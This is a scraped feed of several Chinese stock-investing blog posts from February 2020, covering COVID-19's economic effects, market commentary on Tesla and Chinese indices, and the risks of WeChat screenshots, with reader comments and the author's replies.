      淘宝买的机器人还能投票,真高端
      +
      +
      +
      +
      1677
      +
      +
      作者
      +
      +
      +
      +
      哈,还会打赏,刷榜刷到了全国第一。
      +
      +
      +
    • +
    • +
      +
      477
      + +
      +
      +
      所以新加坡的做法也是有道理的,动态防疫,接受一定的致死率。经济的恢复和病情的控制得做一个平衡。
      +
      +
      +
      +
      1130
      +
      +
      作者
      +
      +
      +
      +
      他们整个国家就是一个城市,而且还是主要做外贸生意的,像中国这样休克隔离,就等于是自杀。当然了,新加坡那边气温高,可能会好一点。
      +
      +
      +
    • +
    • +
      +
      218
      + +
      +
      +
      身为湖北人严重抗议,你见过蠢的九头鸟吗?
      +
      +
      +
      +
      1033
      +
      +
      作者
      +
      +
      +
      +
      我写那个回复,就是觉得前一种解释很滑稽,根本不可能,所以第二种是我想说的答案。但貌似还真有不少湖北网友认真抗议自己不笨,这理所应当的事需要抗议吗?这种突发爆量的意外事件,放别的省也大概率扛不住的。
      +
      +
      +
    • +
    • +
      +
      248
      + +
      +
      +
      继续封闭,物流成本增加,人员成本增加等等
      +
      +
      +
      +
      946
      +
      +
      作者
      +
      +
      +
      +
      社会休克隔离,一开始痛的是那些服务娱乐消费业,亏损惨重,这个阶段上班族放假在家暂时还没感觉,所以嚷嚷着要继续放假。但持续下去,生产停滞就会造成物价飞涨,最后所有人都受不了。
      +
      +
      +
    • +
    • +
      +
      175
      + +
      +
      +
      大屁股你看了携程梁建章的文章?把死亡率折算成gdp,在计算是否值得继续封闭
      +
      +
      +
      +
      829
      +
      +
      作者
      +
      +
      +
      +
      很不道德,很吸引眼球,肯定被骂,但有可能就是最后大家达成默契的结局。
      +
      +
      +
    • +
    • +
      +
      207
      + +
      +
      +
      所以后面股票还要大跌吗
      +
      +
      +
      +
      562
      +
      +
      作者
      +
      +
      +
      +
      回调就算有,大跌很难,除非疫情有什么剧烈的变化,比如二次扩散,再加上变异什么的,现在大家已经普遍接受一季度经济下滑的心里预期了。
      +
      +
      +
    • +
    • +
      +
      153
      + +
      +
      +
      巴菲特说了 特斯拉是个伟大的公司 但不是一个好股票
      +
      +
      +
      +
      518
      +
      +
      作者
      +
      +
      +
      +
      任何一个半年涨4倍的股票你都得掂量掂量,尤其是它的盘子还相当大,那意味着有绝对值巨大的盈利盘随时可能兑现。
      +
      +
      +
    • +
    • +
      +
      184
      + +
      +
      +
      到现在这个月还亏十个点,好像上涨与我无关
      +
      +
      +
      +
      455
      +
      +
      作者
      +
      +
      +
      +
      你买的板块太传统了,盲猜是原油化工钢铁电力煤炭之类的。
      +
      +
      +
    • +
    • +
      +
      185
      + +
      +
      +
      非常敬佩你,台州也是很严重的,我关注了自己省市以后就是看台州,希望你早日回京
      +
      +
      +
      +
      445
      +
      +
      作者
      +
      +
      +
      +
      我老家临海其实没有大家想象的那么严重,一共8例,而且城区内的好像就1-2个,新增很慢,大致控制住了,台州严重主要是温岭那边爆了。我饭后都会和老妈去江坝上散步,人很少,还挺惬意的。
      +
      +
      +
    • +
    • +
      +
      159
      + +
      +
      +
      很多人都看好特斯拉的前景。大牛猫的判断呢?
      +
      +
      +
      +
      389
      +
      +
      作者
      +
      +
      +
      +
      它已经经营盈利了,那起码在5年内可以看见的未来,特斯拉一定会发展的很好,但问题是,目前的股价,已给了很高的溢价,也就是说已经包含了相当一部分的未来预期。
      +
      +
      +
    • +
    • +
      +
      197
      + +
      +
      +
      我看比特币又大涨了,牛猫哥哥没有又卖了吗
      +
      +
      +
      +
      291
      +
      +
      作者
      +
      +
      +
      +
      我最近没操作,这个涨幅是在预期内的。
      +
      +
      +
    • +
    • +
      +
      132
      + +
      +
      +
      今天是不是有些早,duang~一下子不
      +
      +
      +
      +
      140
      +
      +
      作者
      +
      +
      +
      +
      不早了,时间差不多到了,你上去敲吧,大家晚安哟
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    + http://www.gushequ.com/2020/03/%e4%b8%80%e4%b8%aa%e5%b0%8f%e5%b0%8f%e7%9a%84%e6%84%9f%e6%82%9f-20200210/feed/ + 0 +
    + + 一个大变量明天来了 -20200209 + http://www.gushequ.com/2020/02/%e4%b8%80%e4%b8%aa%e5%a4%a7%e5%8f%98%e9%87%8f%e6%98%8e%e5%a4%a9%e6%9d%a5%e4%ba%86-20200209/ + Wed, 26 Feb 2020 09:13:52 +0000 + + + + http://www.gushequ.com/?p=7513 + + +
    +
    +
    +

    现在从基本面到行情,我最大的感触就是纠结和矛盾

    +

    首先疫情的数据上很明显有好转,国内新增确诊和新增疑似,用咱们看k线的术语说,就已经是m双头顶,跌破颈线,后面开始要开始主跌浪了。

    +

    20200209-1

    +

    如果以后你手里拿着的股票出现上图中红线和黄线的形态,记得卖出逃命,这种形态如果没有外力和重大意外的话,是不太会逆势向上的。

    +

    疫情数据出现好转和我们实行强力隔离政策有很大的关系,因为新冠病毒的潜伏期是7-14天,昨天是上元节,那往前数14天也就是春节前后,如果说早先我们还有些轻忽的话,那从春节开始全国上下都很重视了。

    +

    若无意外,接下来确诊和疑似数据都会大幅好转。

    +

    但现在意外变量是有的,就是从明天开始各地陆陆续续就会有复工潮。我先做个投票调查,希望诸位配合一下认真填写,大家还能当个数据参考。

    +

    20200209-2

    +

    我目前从网络上了解到的情况来看,有很多地区都延长了隔离时间,但也有很多地方的企业明天就复工,不同地区的差异很大。

    +

    从防疫的角度来看现在是关键时期,最好的选择是继续隔离,但中国经济已经为这次疫情付出了巨大代价,再执行全国隔离,很多行业的损失惨不忍睹。

    +

    而且从发展趋势来看,指望2-3周内控制住疫情的可能性比较小,万一真像部分专家预测的那样,需要2-3个月,我们不可能一直耗下去,所以之后就不是集体放假,而是让各行各业的人根据自己的情况做取舍。

    +

    关于这个话题我其实1月30日的时候写过一期文章《我认为不该再继续集体延长放假》,有兴趣的可以去看看,我都没想到,那一篇竟然是我最近一年半以来点赞率、转发率、阅读量最高的文章,可见代表了一个相当大群体的心声。

    +

    成年人的世界就没有容易两个字,希望明天复工的网友们都要做好卫生防护措施,保护好自己。

    +

    之后疫情的数据依然需要密切关注,如果到了2月下旬依然能够稳住,没有出现反弹上升的话,那就说明我们已经度过了最困难的时期。

    +

    ……

    +

    股市这边上周给人巨大的惊喜,尤其是中小创板块,在资金的持续推动下连涨4天,给了做空资金极大的威慑。

    +

    但怎么说呢,我觉得涨到周五的时候其实是有一些反映过度了,从技术上来说周四就应该出现调整了,我说这话不是因为自己周三减仓后踏空了酸葡萄,我给你们看a50期指的走势,确实是在周四和周五都出现了技术性调整,其中周五晚上跌的比较多,很明显会对周一的开盘价带来影响。

    +

    20200209-3

    +

    这也是上周最后两天大盘股和主板上涨乏力的原因,而中小创这边主要是有资金不停的买进去,短期内暂时无视了技术上的调整,但这个情况并不能一直持续下去,所以下周的前两天我认为是有明显的回调压力的,主板和中小创都有。

    +

    能调多深我也不好说,但目测来看中证500指数不太会跌回本周三那个跳空的缺口,之前在底部割肉的人,不太可能原价买到后悔药。

    +

    ……

    +

    我觉得随着疫情的推进,越来越多的人开始调整心态,之前对相关行业损失的估计也要重新调整,像旅游业,酒店餐饮、娱乐消费之类的,影响不止于一季度,恐怕上半年都难以恢复信心。另外服装销售也影响很大,一年主要就做春秋两季,现在春季档已经死了,不出门自然也就不用买衣服了。

    +

    民航的损失也要重新估计,机场股上周的反弹相当强劲,但考虑到上半年业绩的冲击,我觉得短期也差不多了。

    +

    这次疫情大幅改变了人们的生活习惯和方式,所以有一些其他行业受益。除了之前最早就联想到的生物制药、医疗、口罩、快递物流外,现在在线教育和远程办公也备受关注,以前觉得过完正月就会复工,但目前看来,有些互联网公司可能3月份之前都会保持家庭办公的状态,现在很多公司都在强推钉钉。

    +

    另外像体外测温、制氧器、ecmo之类的医疗配套,你们也可以看看,还有就是今天看到数据统计,春节期间网民在互联网上的时间增加了26%,其实我也感觉到了,近期公众号的阅读量涨了30-50%,那线上企业以及手机游戏等板块也是受益的。

    +

    ……

    +

    今晚刚刚看到新闻,说确认新冠病毒,因为高度相似性,属于sars冠状病毒。我从字面上的意思理解,新冠病毒就是sars的一个进化变异体,致死率低一些,但传播性更强。

    +

    周五官方还说了这次的新冠病毒有气溶胶传播的能力,我对这些专业术语也不懂,但以前玩过瘟疫公司的手机游戏,其中病毒传播有一颗技能树,树的顶端,终极技能就是气溶胶传播。拥有比飞沫传播更强的传染能力。

    +

    总之大家战略上要思想放松,战术上要高度重视防护,虽然从概率上算明知可能性很小,但还是希望我的读者一个都不要感染。

    +

    今天网上热传一张2003年京华时报祝贺北京战胜sars的头版图片,看了以后真是感慨万千,京华时报2017年元旦停刊,但我们这一次还是会赢的,我坚信,到时候我去买一份报纸纪念。

    +

    20200209-4

    +

    ……

    +

    【操作笔记】公众号新粉输入YC3看渔盆介绍

    +

    沪深300继续NO,临界4032

    +

    创业板继续YES,临界1851

    +

    中证500继续NO,临界5345

    +

    国证有色399395继续NO,临界3539

    +

    中证科技931087继续YES, 临界3622

    +

    证券公司399975继续NO,临界771

    +

    中证军工399967转YES,临界7702

    +

    我周五没操作,其实心里是有点想减仓的,被上涨的趋势震住了,就打算继续随大流,但看周五晚美股的中概股普跌,其实还是应该卖一点合适的。周一我觉得大跌不会,真正的考验在周二和周三。

    +
    +
    +
    +
    +
    阅读原文

    +
    阅读 10万+
    +
    +

    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      3012
      + +
      +
      +
      还有个选项,一直在上班
      +
      +
      +
      +
      2301
      +
      +
      作者
      +
      +
      +
      +
      是吧,我知道有很多公务员读者,初三四就开始复工上班了,公仆们辛苦啦。
      +
      +
      +
    • +
    • +
      +
      346
      + +
      +
      +
      新加坡官方不让戴口罩,宣称就是一普通病毒,生活依旧,会有影响吗
      +
      +
      +
      +
      1926
      +
      +
      作者
      +
      +
      +
      +
      我看了李显龙的演讲,他说新冠传染性强,致死率低,非湖北地区的死亡率是0.2%,而季节性流感是0.1%,所以他觉得大家该怎么过就怎么过。我觉得这是一个很好的试验,正好看看效果,没准他是对的呢?
      +
      +
      +
    • +
    • +
      +
      1869
      + +
      +
      +
      我们隔离14天不复工 不过我赞同隔离期间不发工资 尤其是小企业
      +
      +
      +
      +
      1285
      +
      +
      作者
      +
      +
      +
      +
      有你这样觉悟的人不多,大部分人并不愿意出让自己的权益,之前网上讨论房东要不要给租客免租,也是很有争议的。
      +
      +
      +
    • +
    • +
      +
      592
      + +
      +
      +
      SARS那年我刚出生,新冠状病毒我成年了,小时候的我听故事,长大的我讲故事
      +
      +
      +
      +
      1399
      +
      +
      作者
      +
      +
      +
      +
      今年的春节…是我从小到大过的最特别的一次,中国人共同的奇特记忆。
      +
      +
      +
    • +
    • +
      +
      296
      + +
      +
      +
      大牛猫,想请教一个问题,不知道你怎么看口罩价格的问题。其实从经济学角度,我认为目前口罩价格应该适当上涨,因为供不应求已经是一个事实,口罩产能的提升也是一些企业牺牲现有生产其他产品设备的生产线改装的,这部分产能转换价格难道不应该体现在口罩适当的提价上面吗?当然给医院的除外,只是对普通民众来讲,我认为适当的调价大家普遍是可以接受的,并且可以激励小企业快速提升口罩产能
      +
      +
      +
      +
      948
      +
      +
      作者
      +
      +
      +
      +
      口罩已经不是正常的商业市场,几乎稍微大一点的产能都被政府承包了,没有办法散装拿到市面上销售的,你可以把它理解为战时的军管物资,所以二级市场涨不涨,其实也影响不了生产。
      +
      +
      +
    • +
    • +
      +
      262
      + +
      +
      +
      也不知道你几月份才能回北京的热炕头。
      +
      +
      +
      +
      834
      +
      +
      作者
      +
      +
      +
      +
      现在台州已经是全国有名的重灾区,所以台州籍的回去也会被叫去隔离14天,我琢磨大概要到3月份才能回去了。我老婆说我要是留在北京得准饿死,因为现在供肉很紧张,我是不吃素的。
      +
      +
      +
    • +
    • +
      +
      348
      + +
      +
      +
      用电的时候没想一下电力工人也没休息?
      +
      +
      +
      +
      722
      +
      +
      作者
      +
      +
      +
      +
      电力水利这些部门往年不也是春节期间轮班制么,这个就不用特别强调了。
      +
      +
      +
    • +
    • +
      +
      178
      + +
      +
      +
      还有个问题,新药瑞德西韦效果如何?
      +
      +
      +
      +
      708
      +
      +
      作者
      +
      +
      +
      +
      网上传的各种版本都有,我之前比较乐观,但最近发现有可能是有利益关联方在带节奏,所以这事我先不提了,等确切消息源。
      +
      +
      +
    • +
    • +
      +
      231
      + +
      +
      +
      不吃素,很不健康啊,大屁股得改改了,膳食要均衡
      +
      +
      +
      +
      632
      +
      +
      作者
      +
      +
      +
      +
      也不是一点不吃,但确实90%都以肉食为主。小时候长辈们也吓唬我说这样很有问题,然后我灵机一动,说狮子老虎从来不吃素,它们也很健康啊,长辈们被我呛的无话可说。我确实也挺健康的,在南方人里我算个子不低的。
      +
      +
      +
    • +
    • +
      +
      141
      + +
      +
      +
      一直觉得机场铁路跌的有点冤,疫情完了该出行的还是得出行,出行的人里面旅行目的人群占比能有多大?其他硬需求出行才是主力吧。延迟出行对机场铁路业绩影响应该不是很大才对。
      +
      +
      +
      +
      565
      +
      +
      作者
      +
      +
      +
      +
      当然大了,起码整个2月份基本上就没啥生意了,我听一个人说,高铁一节车厢上就3个人,之后很多非必要的出行都会被压缩,对收入影响是很大的。
      +
      +
      +
    • +
    • +
      +
      163
      + +
      +
      +
      你们昨天叫上元节,特别!
      +
      +
      +
      +
      421
      +
      +
      作者
      +
      +
      +
      +
      嗨,你要叫元宵节也是可以的,中国现在一些传统节日都淡化了,中元节和下元节已经都不怎么提起了。
      +
      +
      +
    • +
    • +
      +
      281
      + +
      +
      +
      钟南山院士接受采访时表示,新型冠状病毒是冠状病毒的一种,它跟SARS冠状病毒是平行的,二者是同一类(病毒),但不是同一种。(第一财经)
      +
      +
      +
      +
      384
      +
      +
      作者
      +
      +
      +
      +
      啊,说法又变啦,现在真是各路消息满天飞,彼此之间还经常会打架。
      +
      +
      +
    • +
    • +
      +
      211
      + +
      +
      +
      能否简明扼要讲讲A50这玩意
      +
      +
      +
      +
      376
      +
      +
      作者
      +
      +
      +
      +
      富时公司编织的指数,成分是50个大盘股,和上证50有点像,但不是完全一样,在新加坡股市交易,一天开盘的时间很长,好像是16个小时,所以我们晚上睡觉了它们也在交易。
      +
      +
      +
    • +
    • +
      +
      288
      + +
      +
      +
      挺严肃的话题 你一个m双头顶 我出戏了
      +
      +
      +
      +
      345
      +
      +
      作者
      +
      +
      +
      +
      没办法,职业病,看到这种曲线的本能反映。
      +
      +
      +
    • +
    • +
      +
      208
      + +
      +
      +
      江苏苏州无锡这边的80%企业继续延迟复工了,具体什么时候复工都得等政府通知。很多人在老家还没过来公司直接通知不用来了,到了这边也下不了高速
      +
      +
      +
      +
      301
      +
      +
      作者
      +
      +
      +
      +
      我这里不是正好有大样本统计么,以我的用户量,最后会有小20万人投票,会很有代表性,我看了一下,复工的比例是24%左右。
      +
      +
      +
    • +
    • +
      +
      152
      + +
      +
      +
      你好能讲一下IC怎么交易吗
      +
      +
      +
      +
      264
      +
      +
      作者
      +
      +
      +
      +
      这个是股指期货,不是股票,你要开通期货账户,另外它有50万资金的门槛,散户玩不了。
      +
      +
      +
    • +
    • +
      +
      132
      + +
      +
      +
      今天敲钟会不会被抽中啊?duang~
      +
      +
      +
      +
      138
      +
      +
      作者
      +
      +
      +
      +
      今晚你上去抽吧,哦不对,是上去敲。晚安诸位
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    +
    + + 微信聊天被截图的风险…真的很大 -20200208 + http://www.gushequ.com/2020/02/%e5%be%ae%e4%bf%a1%e8%81%8a%e5%a4%a9%e8%a2%ab%e6%88%aa%e5%9b%be%e7%9a%84%e9%a3%8e%e9%99%a9-%e7%9c%9f%e7%9a%84%e5%be%88%e5%a4%a7-20200208/ + Wed, 26 Feb 2020 09:09:58 +0000 + + + + http://www.gushequ.com/?p=7510 + + +
    +
    +
    +

    这两天很多人都在缅怀去世的李文亮医生,我在查相关资料的时候发现了事情的起因,其实是几句微信群里的截图,就是这个。

    +

    20200208-1

    +

    我看媒体报道,这是李文亮医生的一个班级群,100多号人,很显然李文亮也清楚这属于敏感信息,所以特地给大家嘱咐了一句不要外传,然而并没有卵用,最终还是被人截图传播了,才有了之后的各种后续。

    +

    李文亮医生这两天被讨论的太多,我不凑热闹,今晚我就想说道说道这微信截图传播的事。

    +

    我们常说大数据时代来临,个人将不再有隐私,话虽这么说,但心里也清楚,像我们这种平民百姓,就算数据被腾讯、阿里、政府掌握了也没啥大不了的,平时注意别说反d反zf的话基本没事。

    +

    但大家其实都忽略了另一种风险,就是日常在微信上和亲友熟人之间的聊天,随时都会被人截图,随时都有可能传播,也许哪一天突然就爆了,出现你料之不及的后果。

    +

    ……

    +

    说个真事,我有个朋友m是***相关行业的,有一次在一个10人不到的小群里分享了工作上听来的事,这事具体是啥我不能说,但怎么说呢,确实是那种一看就很刺激、忍不住就想转发告诉身边朋友的那种事…

    +

    果然,群里面有个朋友c就截图转发到了另一个群,然后这件事就炸了。

    +

    等我知道的时候,社交网络上已经传爆了,截图的那个朋友c来找我,问认不认识微博的朋友,帮忙撤一下热搜,我上微博看了一圈,说闹太大了,除非wxb出手,否则压不住的。

    +

    朋友c就不停的和我说后悔死了,这下捅大篓子了,当时只是转到一个5人群里,另外几个都是闺蜜,根本没想到成为网络上的爆点事件。她本人倒没啥,但可能会给m带来麻烦,心里很内疚。

    +

    我去安慰了一下m,他也是心情沉重,压力巨大。我说要不先换一下头像和昵称吧,他说已经换了,但有心人真要查肯定是能定位到他的。

    +

    这事后来相关部门出来澄清安抚,又过了几个月热度才慢慢消退。

    +

    ……

    +

    很多人都觉得,我和自己亲友熟人私下说点悄悄话,这也不行吗?

    +

    是,但你所谓的悄悄话,一旦在社交网络上裂变传播,很快就会从私人环境升级为公共环境。

    +

    有些人话说出去后觉得又有点后悔,会追加一句嘱咐,不要外传呀,但其实没啥卵用,对方会把你这句“不要外传呀”,一起截进去转发,然后别的人看到了图会觉得这个消息是泄露出来的(不要外传的)私密!

    +

    于是….转发欲望更强烈了???

    +

    ……

    +

    我加了一个500人的自媒体群,里面全是各行各业各平台的大v,群氛围挺活跃的,大家也喜欢在里面分享和评论社会热点,以及各自行业的八卦。

    +

    有时候聊嗨了,就被围观群友截图转发出去,有好几次都传到飞起。

    +

    那被截图的人就很不爽,在群里面生气,可生气有什么用,500人的群,除非刑侦大队介入挨个挨个搜手机,不然鬼晓得谁截的。最后大家得出一个结论,只要超过30人,群就没有私密属性,而500人的群,你就随时做好准备面对公众。

    +

    聊天之前想想后果,承担不了后果的话,不能说。别把自己的言论风险绑在数百个陌生人的人性上,那就是在玩火。

    +

    ……

    +

    该群里面也有腾讯做微信产品的小伙伴,于是大v们也开动脑筋,出谋划策。

    +

    比如截图后会有个logo水印显示是谁截的。

    +

    比如敏感内容能不能设置成截图无效,自动加马赛克

    +

    比如有人截图,就会在群里提示谁谁谁截图了

    +

    比如微信截图时左边框自动左移,别把头像和名字截进去

    +

    建议提了不少,然后微信产品的小伙伴说,那要是对方拿着另一台手机怼着屏幕拍照来截屏呢?

    +

    话题讨论结束,从此再没人提这事。

    +
    +
    +
    +
    +
    +
    阅读 10万+
    +
    +

    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      2791
      + +
      +
      +
      太鸡贼了,公开鼓动这种让大家都闭嘴的信息,作为大V您们自己敏感不说就是了,鼓动这种言论有什么好处,无非就是让整个社会更不敢讲真话,为了你们自己的羽毛,不就是为了生计为了钱,受了多年的教育,替你们感到耻辱
      +
      +
      +
      +
      7414
      +
      +
      作者
      +
      +
      +
      +
      怎么还有你这种不识好歹的,给你提示风险,你还喷起来了。你不怕以后你在公共场合随便说,网络早就不是法外之地,你不信迟早有苦头吃。
      +
      +
      +
    • +
    • +
      +
      1794
      + +
      +
      +
      我是新人,我先来:为什么叫任小姐?是男是女?为什么叫大屁股?是不是真的很大?干娘票是什么?橘子是什么?体恤是什么?淘宝怎么下单打人?
      +
      +
      +
      +
      4280
      +
      +
      作者
      +
      +
      +
      +
      新来的墙角蹲着,憋说话,先默默看半年。
      +
      +
      +
    • +
    • +
      +
      630
      + +
      +
      +
      截图时要自觉马赛克,注意素质
      +
      +
      +
      +
      1865
      +
      +
      作者
      +
      +
      +
      +
      那种尴尬的糗事,马赛克有用,但假如你是体制内工作人员,泄漏了重大事件信息,你信我一句话,打马赛克是没用的,组织想找你出来,就一定找的到你。
      +
      +
      +
    • +
    • +
      +
      251
      + +
      +
      +
      招财大牛猫,过个年打麻将输了好多,心疼,求安慰
      +
      +
      +
      +
      1499
      +
      +
      作者
      +
      +
      +
      +
      要是放你出去浪,应该消费更多吧。哎,人就这样,出去浪花掉的钱不心疼,打麻将输了就难过,你可以把打麻将也想象成一种娱乐,另外三个人这么危险的时期还陪你打麻将,你打赏他们几个点钱算酬谢吧。
      +
      +
      +
    • +
    • +
      +
      415
      + +
      +
      +
      wxb是什么?
      +
      +
      +
      +
      1480
      +
      +
      作者
      +
      +
      +
      +
      吴秀波,韦小宝,伪学霸,我下班。
      +
      +
      +
    • +
    • +
      +
      328
      + +
      +
      +
      百事猫! 我怀疑,上次红空口罩仔闹事是假,他们的真实意图是——特离谱要释放病毒,让他们提前屯口罩。所以现在到处买不到口罩
      +
      +
      +
      +
      998
      +
      +
      作者
      +
      +
      +
      +
      哈哈哈你想多了,现在传染病到香港了,口罩仔也怕传染病,现在回家隔离,消停了
      +
      +
      +
    • +
    • +
      +
      213
      + +
      +
      +
      语音就不会截图了而且要用方言本地话
      +
      +
      +
      +
      753
      +
      +
      作者
      +
      +
      +
      +
      网友提醒我了,说现在转发都有录屏功能,我想起来了确实有,前几天看到转发的内容里,就有一个大哥语音绘声绘色的讲自己小区被隔离的事…所以…没有任何一个方式是安全的。
      +
      +
      +
    • +
    • +
      +
      193
      + +
      +
      +
      关注你好久了牛猫哥,一直想问问你,p2p现在还靠谱吗??我老婆在用微贷往外借钱!!!我慌的一批
      +
      +
      +
      +
      669
      +
      +
      作者
      +
      +
      +
      +
      我刚想说今年都别投p2p,突然一想,年已经过了,那再加半年吧,今年6月前都别投资任何p2p,6月的时候你们可以再来问我。
      +
      +
      +
    • +
    • +
      +
      205
      + +
      +
      +
      所以发语音要靠谱点?
      +
      +
      +
      +
      646
      +
      +
      作者
      +
      +
      +
      +
      相对来说确实安全多了,因为语音不能转发,语音还不怕截图,但是语音有一个功能会被翻译成文字。所以真正敏感的事,我一般都语音说,或者电话说。
      +
      +
      +
    • +
    • +
      +
      195
      + +
      +
      +
      我很想知道你直播时候说你是小受那个,淘宝代打签收了没
      +
      +
      +
      +
      574
      +
      +
      作者
      +
      +
      +
      +
      客服说那小子最近都躲家里,没下楼,没事,单子已下,使命必达,等他复工上班第一天就强行签收。
      +
      +
      +
    • +
    • +
      +
      201
      + +
      +
      +
      ***行业?
      +
      +
      +
      +
      570
      +
      +
      作者
      +
      +
      +
      +
      别问,不能说,说了就是给人找麻烦了。我可以告诉你的事,和民生有关,几乎是国民人人相关。有关部门出来解释,但民众其实也不信,一直到现在都还有很多人在骂骂咧咧。
      +
      +
      +
    • +
    • +
      +
      200
      + +
      +
      +
      玛德我们七个人群发个视频,都被监控群和微信账号都封了
      +
      +
      +
      +
      525
      +
      +
      作者
      +
      +
      +
      +
      敏感言论,不当视频,这些真的别碰,这种会有大数据扫描的,转发黄色视频或者说反党反政府的言论,网警真的会管,个人微信号被封了很难受,极其不方便,所以要自重。
      +
      +
      +
    • +
    • +
      +
      144
      + +
      +
      +
      话说今年T恤还做吗?如果做也是比去年还晚了
      +
      +
      +
      +
      375
      +
      +
      作者
      +
      +
      +
      +
      做呀,这个是个不错的传统,我已经开始在想今年的格言了,去年那个bull in market cat in life就很好,你们有想到的不错的给我留言,采纳了有礼物。
      +
      +
      +
    • +
    • +
      +
      181
      + +
      +
      +
      阅后即焚?
      +
      +
      +
      +
      347
      +
      +
      作者
      +
      +
      +
      +
      阅后,很男判断,即焚之前可能就截了,截个图多快的操作你想想。
      +
      +
      +
    • +
    • +
      +
      139
      + +
      +
      +
      真心问一下,我在手机上截图你的文章,你在后台上有显示相关记录吗?
      +
      +
      +
      +
      325
      +
      +
      作者
      +
      +
      +
      +
      没有,我的文章你随便截,现在每天发之前都要等10-20分钟,我估计都被审过一遍,要是真有违规内容你也看不到。
      +
      +
      +
    • +
    • +
      +
      125
      + +
      +
      +
      返工潮怎么办
      +
      +
      +
      +
      320
      +
      +
      作者
      +
      +
      +
      +
      从最新的疫情来看,各个公司都延迟返工,或者改为远程办公了。
      +
      +
      +
    • +
    • +
      +
      172
      + +
      +
      +
      Duang~坚持敲钟~万一被翻牌了呢
      +
      +
      +
      +
      160
      +
      +
      作者
      +
      +
      +
      +
      今晚就你了,上去敲吧,大家晚安
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    +
    + + ********************** -20200206 + http://www.gushequ.com/2020/02/20200206/ + Wed, 26 Feb 2020 09:08:12 +0000 + + + + http://www.gushequ.com/?p=7505 + + +
    +
    +
    +

    假如真的药物有效,那新冠病毒于人类而言就不太会有致死的威胁,未来可能就也就是像流感一样,长期和人类共存,每年冬春爆一爆,大家吃点药,就这样了。

    +

    今天有好多人问我,要是瑞德西韦在国内生产,有哪些公司受益?

    +

    我不是不想整理,而是实在对这类投机追涨不推荐。我给你们看个k线:

    +

    20200206-1

    +

    这个是吉利德科学的美股,前几天传出他们给中国供药后,股价从63涨到66附近,一共就5%不到。而a股和吉利德有合作关系的几个公司,股价已经3个涨停,连意淫出来有可能要联合生产的公司,也都1-2个涨停。

    +

    读者里面有那种短线投机高手,可以去搞,我觉得有几个明后天依然有涨停的机会,但别让我来推,免得鼓声停了,手里拿到花的傻子到时候说被我害了。

    +

    我还是之前的观点,本次疫情对绝大多数上市医药公司的业绩,不会有持续的刺激,连短期一次性刺激的也寥寥无几。

    +

    逻辑很简单,政府之前已经宣布,这次疫情的治疗费用中个人承担的部分,由政府补贴兜底,也就是说所有做这次生意的医药公司,面对的乙方只有一个,就是国家,想想集采,就知道很难挣钱的。

    +

    ……

    +

    昨晚特斯拉被空军暴击17%,直接导致a股的新能源车板块今天集体吃面。

    +

    至于暴跌的原因,其实也没啥原因,就是前面涨太多了,技术上超涨,我好像前几天在夜报里给你们预警过的,千元关口前会有一次周线级别的调整

    +

    特斯拉去年我抄过底,当时是190美金左右,机构一个个跳出来说马斯克就快破产了,空单呼呼呼的往上怼,后来三四季度的财报一出,发现公司竟然赚钱了,然后多头就开始反扑屠杀空头。我抄在了底部,反弹赚了6%就走了,真他妈的,所以买点远远没有卖点重要。

    +

    买点决定了最前面的数字是1还是-1,但卖点决定了后面有几个零。所谓炒股高手不是每次都买到1,很难的,正确的交易是买到-1少画几个零,买到1了拼命画零。

    +

    特斯拉这一波我觉得回调的支撑位在660附近,也就是ma10那里,我不认为特斯拉的股价会就此崩溃。虽然我不开车,但产业界的大佬都说智能电动车是汽车的未来形态,各国政府也都在补贴加速转型,总不会这些人都是傻子吧。

    +

    这次的疫情会导致特斯拉中国工厂延期复工,原定交车日期推迟,一季度的业绩会有影响。

    +

    ……

    +

    哦抱歉,我写到这里的时候,突然东财那里弹出一条即时新闻,中日友好医院辟谣,瑞德西韦的临床试验结果还没有出来。

    +

    ……

    +

    【操作笔记】公众号新粉输入YC3看渔盆介绍

    +

    沪深300继续NO,临界4040

    +

    创业板继续YES,临界1833

    +

    中证500继续NO,临界5346

    +

    国证有色399395继续NO,临界3541

    +

    中证科技931087继续YES, 临界3602

    +

    证券公司399975继续NO,临界774

    +

    中证军工399967继续NO,临界7923

    +

    我今天没操作,期指和股票账户都没变。涨成这个样子哪还敢卖,昨天卖掉的那部分少赚了差不多七八万,行情看不透的时候我的习惯就是顺趋势,随大流,就这样吧。

    +

    今晚原计划22:10在换手率做一场直播,但文章被退回,顺延至22:30,到23:30结束,大家有空可以来听听。

    +

    今日创业板指暴涨创近3年新高!牛市冲天!今晚10点,我在“换手率App”免费直播,聊2月A股牛市行情主线大机会!大家长按识别图中二维码,免费下载“换手率App”,自媒体栏目搜索关注我“股社区”,直播开始的时候就能自动收到消息了,今晚直播持续1小时,等你们来牛牛牛牛牛!

    +

    20200206-2

    +

    20200206-3

    +

     

    +

    点击左下角【阅读原文】,也能直接下载“换手率App”,今晚10点免费收听我的2020年新春牛市直播!喜迎元宵!团团圆圆!

    +
    +
    +
    +
    +
    阅读原文

    +
    阅读 10万+
    +
    +

    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      630
      + +
      +
      +
      抱歉,今晚的文章发送的时候两次被退回,所以我把第一段和第二段都删了,如果你开头看的有些突兀,理解一下
      +
      +
    • +
    • +
      +
      436
      + +
      +
      +
      看到你卖飞了特斯拉心情好受多了。。
      +
      +
      +
      +
      1679
      +
      +
      作者
      +
      +
      +
      +
      看来是新来的,我以前还卖飞过比特币,半年踏空了400多万,做交易的,谁没卖飞过牛股呢。一想想李泽楷2000万美金卖了腾讯20%的股份,心里就平衡了。
      +
      +
      +
    • +
    • +
      +
      133
      + +
      +
      +
      标题不懂?
      +
      +
      +
      +
      1009
      +
      +
      作者
      +
      +
      +
      +
      哦,就是原标题被退回,懒得想,直接在键盘上找个按钮按一排出来,我不需要标题党,读者这么多年养熟了,无论什么标题你们都会来看的。
      +
      +
      +
    • +
    • +
      +
      164
      + +
      +
      +
      如果药物真的有效官媒早就出来说话了,还等路边社
      +
      +
      +
      +
      649
      +
      +
      作者
      +
      +
      +
      +
      中国政府做事的习惯,都是稳重大于速度,而股市要的是速度,不是稳重。所以这件事你若是干等政府的官宣,有可能利好出来就是你去接盘的。。。
      +
